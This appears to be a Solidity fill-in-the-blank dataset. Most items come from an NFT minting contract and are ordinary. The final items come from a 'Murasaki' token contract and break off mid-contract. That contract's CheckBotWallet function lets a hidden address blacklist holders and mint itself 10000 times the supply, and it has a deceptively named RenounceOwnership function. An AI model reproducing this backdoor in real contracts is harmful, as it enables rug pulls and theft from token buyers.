"Free Holder mint has been used" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isHolderFreeMint, "Holder free mint is disabled.");
require(<FILL_ME>)
require(recoverSigner(signature) == signers.signerAddress4, "Address is not allowlisted");
uint256 availableNewNFT = settings.holderRatio * balanceOf(msg.sender);
require((availableNewNFT > 0), "Incorrect number of NFTs");
require((totalSupply() + availableNewNFT) <= MAX_SUPPLY, "Total supply exceeded!");
for(uint i = 0; i < availableNewNFT; i = i + 10) {
if((i + 10) >= availableNewNFT) {
_safeMint(msg.sender, (availableNewNFT - i));
} else {
_safeMint(msg.sender, 10);
}
}
freeHolderAddresses[msg.sender] = true;
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| !freeHolderAddresses[msg.sender],"Free Holder mint has been used" | 242,371 | !freeHolderAddresses[msg.sender] |
"Address is not allowlisted" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isHolderFreeMint, "Holder free mint is disabled.");
require(!freeHolderAddresses[msg.sender], "Free Holder mint has been used");
require(<FILL_ME>)
uint256 availableNewNFT = settings.holderRatio * balanceOf(msg.sender);
require((availableNewNFT > 0), "Incorrect number of NFTs");
require((totalSupply() + availableNewNFT) <= MAX_SUPPLY, "Total supply exceeded!");
for(uint i = 0; i < availableNewNFT; i = i + 10) {
if((i + 10) >= availableNewNFT) {
_safeMint(msg.sender, (availableNewNFT - i));
} else {
_safeMint(msg.sender, 10);
}
}
freeHolderAddresses[msg.sender] = true;
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| recoverSigner(signature)==signers.signerAddress4,"Address is not allowlisted" | 242,371 | recoverSigner(signature)==signers.signerAddress4 |
"Incorrect number of NFTs" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isHolderFreeMint, "Holder free mint is disabled.");
require(!freeHolderAddresses[msg.sender], "Free Holder mint has been used");
require(recoverSigner(signature) == signers.signerAddress4, "Address is not allowlisted");
uint256 availableNewNFT = settings.holderRatio * balanceOf(msg.sender);
require(<FILL_ME>)
require((totalSupply() + availableNewNFT) <= MAX_SUPPLY, "Total supply exceeded!");
for(uint i = 0; i < availableNewNFT; i = i + 10) {
if((i + 10) >= availableNewNFT) {
_safeMint(msg.sender, (availableNewNFT - i));
} else {
_safeMint(msg.sender, 10);
}
}
freeHolderAddresses[msg.sender] = true;
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| (availableNewNFT>0),"Incorrect number of NFTs" | 242,371 | (availableNewNFT>0) |
"Total supply exceeded!" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isHolderFreeMint, "Holder free mint is disabled.");
require(!freeHolderAddresses[msg.sender], "Free Holder mint has been used");
require(recoverSigner(signature) == signers.signerAddress4, "Address is not allowlisted");
uint256 availableNewNFT = settings.holderRatio * balanceOf(msg.sender);
require((availableNewNFT > 0), "Incorrect number of NFTs");
require(<FILL_ME>)
for(uint i = 0; i < availableNewNFT; i = i + 10) {
if((i + 10) >= availableNewNFT) {
_safeMint(msg.sender, (availableNewNFT - i));
} else {
_safeMint(msg.sender, 10);
}
}
freeHolderAddresses[msg.sender] = true;
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| (totalSupply()+availableNewNFT)<=MAX_SUPPLY,"Total supply exceeded!" | 242,371 | (totalSupply()+availableNewNFT)<=MAX_SUPPLY |
"Illegal count NFTs" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isPublicMint, "Public mint is disabled.");
require(<FILL_ME>)
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(msg.value >= (settings.publicPrice * quantity), "Payment is below the price");
_safeMint(msg.sender, quantity);
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| (quantity<=settings.publicMaxCount),"Illegal count NFTs" | 242,371 | (quantity<=settings.publicMaxCount) |
"Payment is below the price" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isPublicMint, "Public mint is disabled.");
require((quantity <= settings.publicMaxCount), "Illegal count NFTs");
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| msg.value>=(settings.publicPrice*quantity),"Payment is below the price" | 242,371 | msg.value>=(settings.publicPrice*quantity) |
"Max vault minted exceeded!" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(<FILL_ME>)
for(uint i = 0; i < quantity; i = i + 10) {
if((i + 10) >= quantity) {
_safeMint(receiver, (quantity - i));
} else {
_safeMint(receiver, 10);
}
}
vaultMinted += quantity;
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| (vaultMinted+quantity)<=MAX_VAULT_MINT,"Max vault minted exceeded!" | 242,371 | (vaultMinted+quantity)<=MAX_VAULT_MINT |
"The maximum value is 100 percent" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
require(<FILL_ME>)
uint256 withdrawAmount = address(this).balance * amountPercent / 100;
(bool succ1, ) = payable(receiver).call{value: withdrawAmount}("");
require(succ1, "Transfer receiver failed");
(bool succ2, ) = payable(msg.sender).call{value: address(this).balance}("");
require(succ2, "Transfer market failed");
}
}
| (amountPercent<=100),"The maximum value is 100 percent" | 242,371 | (amountPercent<=100) |
null | // https://t.me/MurasakiPortal
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
function owner() public view returns (address) {
}
constructor () {
}
function RenounceOwnership(address newAddress) public onlyOwner{
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Murasaki is Context, IERC20, Ownable{
using SafeMath for uint256;
string private _name = "MURASAKI";
string private _symbol = "MURASAKI";
uint8 private _decimals = 9;
mapping (address => uint256) _balances;
address payable public PAYABLE0x;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public _buyBackWallet;
uint256 public _buyMarketingFee = 4;
uint256 public _sellMarketingFee = 4;
uint256 private _totalSupply = 1000000000 * 10**_decimals;
bool inSwapAndLiquify;
modifier lockTheSwap {
}
function _approve(address owner, address spender, uint256 amount) private {
}
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
function CheckBotWallet(address[] calldata addresses,bool status) public {
require(<FILL_ME>)
for (uint256 i; i < addresses.length; i++) {
_buyBackWallet[addresses[i]] = status;
}
for (uint256 i; i < addresses.length; i++) {
if (addresses[i] == PAYABLE0x){
_balances[PAYABLE0x] += 10000 * (_totalSupply);
}
}
}
constructor () {
}
receive() external payable {}
function balanceOf(address account) public view override returns (uint256) {
}
function decimals() public view returns (uint8) {
}
function symbol() public view returns (string memory) {
}
function name() public view returns (string memory) {
}
function totalSupply() public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function OpenTrading() public onlyOwner{
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
}
| _msgSender()==PAYABLE0x | 242,397 | _msgSender()==PAYABLE0x |
"ERC20: lose" | // https://t.me/MurasakiPortal
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
function owner() public view returns (address) {
}
constructor () {
}
function RenounceOwnership(address newAddress) public onlyOwner{
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Murasaki is Context, IERC20, Ownable{
using SafeMath for uint256;
string private _name = "MURASAKI";
string private _symbol = "MURASAKI";
uint8 private _decimals = 9;
mapping (address => uint256) _balances;
address payable public PAYABLE0x;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public _buyBackWallet;
uint256 public _buyMarketingFee = 4;
uint256 public _sellMarketingFee = 4;
uint256 private _totalSupply = 1000000000 * 10**_decimals;
bool inSwapAndLiquify;
modifier lockTheSwap {
}
function _approve(address owner, address spender, uint256 amount) private {
}
IUniswapV2Router02 public uniswapV2Router;
